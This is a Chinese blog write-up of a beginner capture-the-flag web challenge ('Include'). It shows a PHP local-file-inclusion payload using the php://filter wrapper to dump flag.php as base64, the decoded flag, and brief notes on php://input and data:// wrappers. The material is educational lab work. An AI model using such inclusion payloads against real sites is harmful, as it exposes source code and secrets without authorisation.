

# BUUCTF\_\_[ACTF2020 新生赛]Include\_题解

原创

[风过江南乱](#) 于 2020-06-26 21:10:30 发布 981 收藏 4

分类专栏: [BUU做题记录](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/TM\\_1024/article/details/106966460](https://blog.csdn.net/TM_1024/article/details/106966460)

版权



[BUU做题记录](#) 专栏收录该内容

38 篇文章 7 订阅

订阅专栏

## 前言

- 心情极度复杂。又是一天过去了

## 看题

这题很简单了

打开F12或看url就能发现提示

```
1 <meta charset="utf8">
2 <a href="?file=flag.php">tips</a>
```

看到这样的格式和题目 include 也很容易想起 [文件包含](#) 和 [PHP伪协议](#)。

所以，直接用伪协议读取flag.php的源码构造 payload

```
?file=php://filter/read=convert.base64-encode/resource=flag.php
```

得到base64编码过后的源码。

```
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MmY3YTIlnmItOTJmNC00ODJmLWJkMzYtZjYzZDA5Mzk4ODZjfQo=
```



## base64在线解密

<pre>&lt;?php echo "Can you find out the flag?"; //flag{2f7a9e6b-92f4-482f-bd36-f63d0939886c}</pre>	<pre>PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7 MmY3YTIlnmItOTJmNC00ODJmLWJkMzYtZjYzZDA5Mzk4ODZjfQo=</pre>
---	--

多行

成功得到 flag

## 补充：PHP伪协议

- [网上关于这个内容其实有很详细的讲解。比如 这个](#)
- 我感觉这方面常见的在 `file://`、`php://` 和 `data://` 但是比如 `data://`和 `php://input` 这种可以造成直接危害的利用条件也比较苛刻，需开启双 on，一般也不会这样设置。默认开启的话，只能读取文件，不能写入或执行。可以拿来当做源码泄露的条件得到源码进入下一步。

## 最后

- 没啥新知识点，新生赛=让大家做题怀疑自己是个新生
- [附上题目链接](#)
- 持续更新BUUCTF题解，写的不是很好，欢迎指正。
- 最后欢迎来访[个人博客](#)